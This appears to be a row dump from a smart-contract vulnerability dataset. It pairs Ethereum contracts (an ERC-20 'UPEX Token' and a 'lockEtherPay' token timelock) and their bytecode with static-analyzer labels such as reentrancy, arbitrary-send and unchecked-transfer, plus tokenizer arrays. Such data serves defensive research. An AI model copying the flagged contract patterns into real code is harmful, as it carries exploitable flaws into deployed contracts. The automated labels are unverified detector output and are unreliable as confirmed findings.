05b50905060005b82811015611f2d57838181518110611ef757fe5b602001015160f81c60f81b828281518110611f0e57fe5b60200101906001600160f81b031916908160001a905350600101611ee3565b50949350505050565b60008054604080516385acd64160e01b81526004810185905290516001600160a01b03909216916385acd64191602480820192602092909190829003018186803b158015611f8357600080fd5b505afa158015611f97573d6000803e3d6000fd5b505050506040513d6020811015611fad57600080fd5b505192915050565b6000611fbf6136fb565b50506001600160a01b0381166000908152603860209081526040808320815160608101835290546001600160401b038082168352600160401b82041693820193909352600160801b9092046001600160801b03169082018190529161202384611047565b9050600061203184836123e2565b905061203d858261333a565b6001600160801b0382166040808501919091526001600160401b0342168452805182815290516001600160a01b038716917f72fba0ba07d937c660a3130fca36005c0e476cb97b6f00de413976e37eba9501919081900360200190a250506001600160a01b03929092166000908152603860209081526040918290208451815492860151939095015167ffffffffffffffff199092166001600160401b039586161767ffffffffffffffff60401b1916600160401b9590931694909402919091176001600160801b03908116600160801b91909216021790915590565b6121226136fb565b506001600160a01b038216600090815260386020908152604091829020825160608101845290546001600160401b038082168352600160401b82048116938301849052600160801b9091046001600160801b03169382019390935291831681141561218e575050611043565b603b54600160801b900460ff1680156121c057506001600160a01b0384166000908152603c602052604090205460ff16155b1561230957826001600160401b0316816001600160401b03161115612276576121ee622aa32160e91b611f36565b6001600160a01b031663f3fef3a3856122136001600160401b038581169088166123e2565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561225957600080fd5b505af115801561226d573d6000803e3d6000fd5b50505050612309565b612285622aa32160e91b611f36565b6001600160a01b031663adc9772e856122aa6001600160401b038781169086166123e2565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156122f057600080fd5b505af1158015612304573d6000803e3d6000fd5b505050505b6001600160a01b038416600081815260386020908152604091829020805467ffffffffffffffff60401b1916600160401b6001600160401b03891690810291909117909155825190815291517ffb97d390102d99a2a0210c7da4d6e15528ca897324a726106755393058ae27199281900390910190a250505050565b600080821161239357600080fd5b600082848161239e57fe5b049150505b92915050565b6000828201838110156123bb57600080fd5b9392505050565b428114156123d8576123d3826125d5565b611043565b611043828261299d565b6000828211156123f157600080fd5b50900390565b6123ff6136fb565b506001600160a01b038216600090815260386020908152604091829020825160608101845290546001600160401b038082168352600160401b82041692820192909252600160801b9091046001600160801b03169181018290529082148015906124765750600081602001516001600160401b0316115b156124d5576124a08382604001516001600160801b031683602001516001600160401b0316613665565b6124d583610a9d42610a9785602001516001600160401b031686604001516001600160801b031661238590919063ffffffff16565b60408101516001600160801b03161580156124ef57508115155b15610d9257610d9283600061211a565b6000546001600160a01b031615612553576040805162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b6001600160a01b038116611d85576040805162461bcd60e51b815260206004820152601d60248201527f6d61737465722063616e6e6f74206265207a65726f2061646472657373000000604482015290519081900360640190fd5b6000826125bd575060006123a3565b828202828482816125ca57fe5b04146123bb57600080fd5b6001600160a01b038116600090815260046020526040812060010154600160a01b90046001600160401b0316906126196203f4806126138482612385565b906125ae565b6001600160401b0381166000908152600160205260409020549091506001600160a01b03166126495750506119a5565b6001600160401b0381166000908152600160205260409020546001600160a01b03165b6001600160a01b0381166000908152600460205260409020600101546001600160401b03808516600160a01b9092041611610ab1576126a96136fb565b506001600160a01b038082166000908152600460209081526040918290208251606081018452815485168152600190910154938416918101919091526001600160401b03600160a01b909304831691810182905291851614801561271e5750846001600160a01b0316826001600160a01b0316145b1561297c576002546001600160a01b038381169116141561275b578051600280546001600160a01b0319166001600160a01b039092169190911790555b6003546001600160a01b0383811691161415612796576020810151600380546001600160a01b0319166001600160a01b039092169190911790555b6001600160401b0383166000908152600160205260409020546001600160a01b038381169116141561288e576127d86001600160401b0384166203f480612385565b81516001600160a01b031660009081526004602052604090206001015461281290600160a01b90046001600160401b03166203f480612385565b14156128545780516001600160401b038416600090815260016020526040902080546001600160a01b0319166001600160a01b03909216919091179055612889565b6001600160401b038316600090815260016020819052604090912080546001600160a01b031990811682559101805490911690555b6128fe565b6001600160401b038316600090815260016020819052604090912001546001600160a01b03838116911614156128fe576020818101516001600160401b03851660009081526001928390526040902090910180546001600160a01b0319166001600160a01b039092169190911790555b8051602080830180516001600160a01b0390811660009081526004909352604080842080549583166001600160a01b03199687161790559151945181168352818320600190810180549683169686169690961790955594909416815292909220805490921682550180546001600160e01b0319169055506119a59050565b506001600160a01b039081166000908152600460205260409020541661266c565b6001600160a01b0382166129e25760405162461bcd60e51b81526004018080602001828103825260268152602001806137a36026913960400191505060405180910390fd5b6001600160a01b038216600090815260046020526040902060010154600160a01b90046001600160401b031615612a1c57612a1c826125d5565b6000612a386203f4806126136001600160401b03851682612385565b6002549091506001600160a01b0316612b2757600280546001600160a01b038086166001600160a01b031992831681179093556003805483168417905560408051808201825284815260208082018681526001600160401b039788166000908152600180845285822094518554908816908916178555915193820180549487169488169490941790935583516060810185528381528083018481528a8a168287019081529885526004909352939092209251835490851690861617835551910180549451909516600160a01b0267ffffffffffffffff60a01b1991909216939092169290921716179055611043565b6002546001600160a01b03166000908152600460205260409020600101546001600160401b03808416600160a01b9092041610612c5057600280546001600160a01b03908116600090815260046020818152604080842060019081018054878c166001600160a01b0319918216811790925583516060810185528954891681528086018881526001600160401b03808e16838801908152858b52988852868a2092518354908c169085161783559051918501805498518216600160a01b0267ffffffffffffffff60a01b19938c169985169990991792909216979097179055885481168217909855938816855291829052909220805490941617835582015416612c49576001810180546001600160a01b0319166001600160a01b0386161790555b5050611043565b6003546001600160a01b03166000908152600460205260409020600101546001600160401b03808416600160a01b9092041611612d7657600380546001600160a01b0390811660009081526004602081815260408084208054868b166001600160a01b031991821681179092558251606081018452868152885488168186019081526001600160401b03808d16838701908152858a5297875285892092518354908b1690851617835590516001928301805498518316600160a01b0267ffffffffffffffff60a01b19928c1699861699909917919091169790971790965588548216831790985593881685529186905290922093840180549091169091179055815416612c495780546001600160a01b0319166001600160a01b03851617905550611043565b6001600160401b0381166000908152600160205260409020546001600160a01b031615612f59576001600160401b0381166000908152600160205260409020546001600160a01b03165b6001600160a01b0381166000908152600460205260409020600101546001600160401b03808516600160a01b909204161015612e16576001600160a01b0390811660009081526004602052604090205416612dc0565b604080516060810182526001600160a01b038084168083526000908152600460208181528583206001908101805486168388019081526001600160401b03808d16898b019081528e89168089528787528b89209a518b54908b166001600160a01b0319918216178c5593519a8601805492518416600160a01b0267ffffffffffffffff60a01b199c8c16938616939093179b909b1691909117909955825488168752898720805483168a1790558254909116881790915589168452808252868420805486168552929091529490912090930154161415612f0a5780546001600160a01b0319166001600160a01b0386161781555b60018101546001600160a01b0390811660009081526004602052604090205481169086161415612f52576001810180546001600160a01b0319166001600160a01b0387161790555b5050610d92565b6000612f716001600160401b0383166203f4806123e2565b90505b6001600160401b038116600090815260016020819052604090912001546001600160a01b0316612fbb57612fb46001600160401b0382166203f4806123e2565b9050612f74565b6001600160401b0390811660009081526001602081815260408084208301546001600160a01b039081168086526004808552838720805485516060810187529085168082528188019485528c8b168288019081528e8716808c52948952878b20925183549088166001600160a01b03199182161784559551928a01805491518d16600160a01b0267ffffffffffffffff60a01b199490981691871691909117929092169590951790558054831682179055918652828620850180548216831790559587168552918390529092208054841683178155018054909216179055505050565b6203f4806001600160401b038416066001600160401b03166000146130fb576040805162461bcd60e51b815260206004820152600e60248201526d1253959053125108109550d2d15560921b604482015290519081900360640190fd5b6001600160a01b0380821660009081526004602052604080822054909216815220600101546001600160401b036203f48085018116600160a01b909204161080159061317957506001600160a01b0381166000908152600460205260409020600101546001600160401b036203f48085018116600160a01b90920416105b80156131b357506001600160a01b0381166000908152600460205260409020600101546001600160401b03808516600160a01b9092041610155b6131f7576040805162461bcd60e51b815260206004820152601060248201526f1d185a5b081a5cc81b9bdd081d185a5b60821b604482015290519081900360640190fd5b6001600160a01b038083166000908152600460205260408082206001908101549093168252902001546001600160401b03808516600160a01b9092041610801561327357506001600160a01b0382166000908152600460205260409020600101546001600160401b036203f48085018116600160a01b90920416105b80156132ad57506001600160a01b0382166000908152600460205260409020600101546001600160401b03808516600160a01b9092041610155b6132f1576040805162461bcd60e51b815260206004820152601060248201526f1a195859081a5cc81b9bdd081a19585960821b604482015290519081900360640190fd5b6001600160401b0392909216600090815260016020819052604090912090810180546001600160a01b03199081166001600160a01b039586161790915581541691909216179055565b6001600160a01b03828116600090815260396020526040812054909116613362576000613380565b603a546103e890600160801b90046001600160801b03908116840216045b603a54603b549192506103e86001600160801b03918216850282168190049282168502821604906000906133cd90838116906133c7908681169082908a8116908a166123e2565b906123e2565b90506001600160801b038416156134b1576001600160a01b03808716600090815260396020908152604080832054909316825260389052205461342490600160801b90046001600160801b039081169086166123a9565b6001600160a01b0380881660008181526039602081815260408084208054871685526038835281852080546001600160801b03998a16600160801b02908a161790559385905291815291548151958a16865242928601929092528051929491909316927fe9e95d6b3dc15e526a9ab8a4879c79c909fd2e3bcf54e63be438051baba8487692918290030190a35b6001600160801b0383161561352f576037546001600160a01b03166000908152603860205260409020546134f990600160801b90046001600160801b039081169085166123a9565b6037546001600160a01b0316600090815260386020526040902080546001600160801b03928316600160801b0292169190911790555b6001600160801b038216156135e057613593826001600160801b03166038600061356367474f565354414b4560c01b611f36565b6001600160a01b03168152602081019190915260400160002054600160801b90046001600160801b0316906123a9565b603860006135ab67474f565354414b4560c01b611f36565b6001600160a01b03168152602081019190915260400160002080546001600160801b03928316600160801b0292169190911790555b6001600160801b0381161561365d57613612816001600160801b03166038600061356365149155d0549160d21b611f36565b6038600061362865149155d0549160d21b611f36565b6001600160a01b03168152602081019190915260400160002080546001600160801b03928316600160801b0292169190911790555b505050505050565b600061367542610a978585612385565b905061368763282620a760e11b611f36565b6001600160a01b031663e2872fd685836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156136dd57600080fd5b505af11580156136f1573d6000803e3d6000fd5b5050505050505050565b60408051606081018252600080825260208201819052918101919091529056fe6e65772070657263656e742063616e6e6f7420626520626967676572207468616e2044454e4f4d494e41544f526f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6e596f75206d757374207761697420616e20686f757220616674657220796f7572206c6173742075706461746520746f2077697468647261772e696e666f20696420616464726573732830292063616e6e6f7420626520737570706f72746564a26469706673582212206c80c0fe53f2b25936fd840944caa4ac8a12a493707317615caaadb96ab3aa2a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2581, 2475, 2050, 23777, 12740, 21472, 2581, 2094, 2575, 2094, 11387, 12521, 16932, 2692, 2546, 2487, 16409, 20958, 2629, 27717, 2575, 4783, 2278, 2575, 2050, 2692, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 1006, 1039, 1007, 8177, 1012, 10882, 4830, 2080, 1010, 25682, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 8278, 25209, 13699, 28849, 6895, 14756, 3372, 1063, 3853, 2562, 1006, 1007, 6327, 1025, 1065, 8278, 24264, 10867, 2953, 8706, 1063, 3853, 4236, 5302, 8566, 2571, 1006, 27507, 16703, 1035, 3145, 1010, 4769, 1035, 11336, 1007, 6327, 1025, 3853, 2131, 5302, 8566, 2571, 1006, 27507, 16703, 1035, 3145, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2562, 1006, 1007, 6327, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,583
0x97077d3fe7d9de5c4d17d33ad25cd65b667b63c7
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a && c >= b); return c; } } contract UPEXToken { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; uint256 totalSupply_; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed burner, uint256 value); constructor() public { decimals = 18; totalSupply_ = 10 * 100000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = totalSupply_; // Give the creator all initial tokens name = "Upex Token"; // Set the name for display purposes symbol = "UPEX"; // Set the symbol for display purposes } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } }
0x6080604052600436106100a35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100a8578063095ea7b31461013257806318160ddd1461016a57806323b872dd14610191578063313ce567146101bb57806342966c68146101e657806370a082311461020057806395d89b4114610221578063a9059cbb14610236578063dd62ed3e1461025a575b600080fd5b3480156100b457600080fd5b506100bd610281565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f75781810151838201526020016100df565b50505050905090810190601f1680156101245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013e57600080fd5b50610156600160a060020a036004351660243561030f565b604080519115158252519081900360200190f35b34801561017657600080fd5b5061017f610379565b60408051918252519081900360200190f35b34801561019d57600080fd5b50610156600160a060020a036004358116906024351660443561037f565b3480156101c757600080fd5b506101d061050e565b6040805160ff9092168252519081900360200190f35b3480156101f257600080fd5b506101fe600435610517565b005b34801561020c57600080fd5b5061017f600160a060020a0360043516610614565b34801561022d57600080fd5b506100bd61062f565b34801561024257600080fd5b50610156600160a060020a0360043516602435610689565b34801561026657600080fd5b5061017f600160a060020a0360043581169060243516610791565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103075780601f106102dc57610100808354040283529160200191610307565b820191906000526020600020905b8154815290600101906020018083116102ea57829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60055490565b6000600160a060020a038316151561039657600080fd5b600082116103a357600080fd5b600160a060020a0384166000908152600460205260409020548211156103c857600080fd5b600160a060020a03808516600090815260036020908152604080832033909416835292905220548211156103fb57600080fd5b600160a060020a038416600090815260046020526040902054610424908363ffffffff6107bc16565b600160a060020a038086166000908152600460205260408082209390935590851681522054610459908363ffffffff6107ce16565b600160a060020a038085166000908152600460209081526040808320949094558783168252600381528382203390931682529190915220546104a1908363ffffffff6107bc16565b600160a060020a038086166000818152600360209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60025460ff1681565b600160a060020a03331660009081526004602052604081205482111561053c57600080fd5b5033600160a060020a03811660009081526004602052604090205461056190836107bc565b600160a060020a03821660009081526004602052604090205560055461058d908363ffffffff6107bc16565b600555604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600160a060020a031660009081526004602052604090205490565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103075780601f106102dc57610100808354040283529160200191610307565b6000600160a060020a03831615156106a057600080fd5b600082116106ad57600080fd5b600160a060020a0333166000908152600460205260409020548211156106d257600080fd5b600160a060020a0333166000908152600460205260409020546106fb908363ffffffff6107bc16565b600160a060020a033381166000908152600460205260408082209390935590851681522054610730908363ffffffff6107ce16565b600160a060020a038085166000818152600460209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6000828211156107c857fe5b50900390565b60008282018381108015906107e35750828110155b15156107eb57fe5b93925050505600a165627a7a72305820ed958ea8c934bef4b3b77884bfdf883280188a5d4248be83530f6eccc52d4fee0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2581, 2581, 2094, 2509, 7959, 2581, 2094, 2683, 3207, 2629, 2278, 2549, 2094, 16576, 2094, 22394, 4215, 17788, 19797, 26187, 2497, 28756, 2581, 2497, 2575, 2509, 2278, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,584
0x970793ef82eb028ea7a9db64c2560b637d579e31
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x9a94B8248FE3DD1F8F1A9Ef5Db6e7516A23e90f7; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582063c2bd5cc797b85c3176af9cf1d796c790823293c67a3eee1bb026bdee8fdb550029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
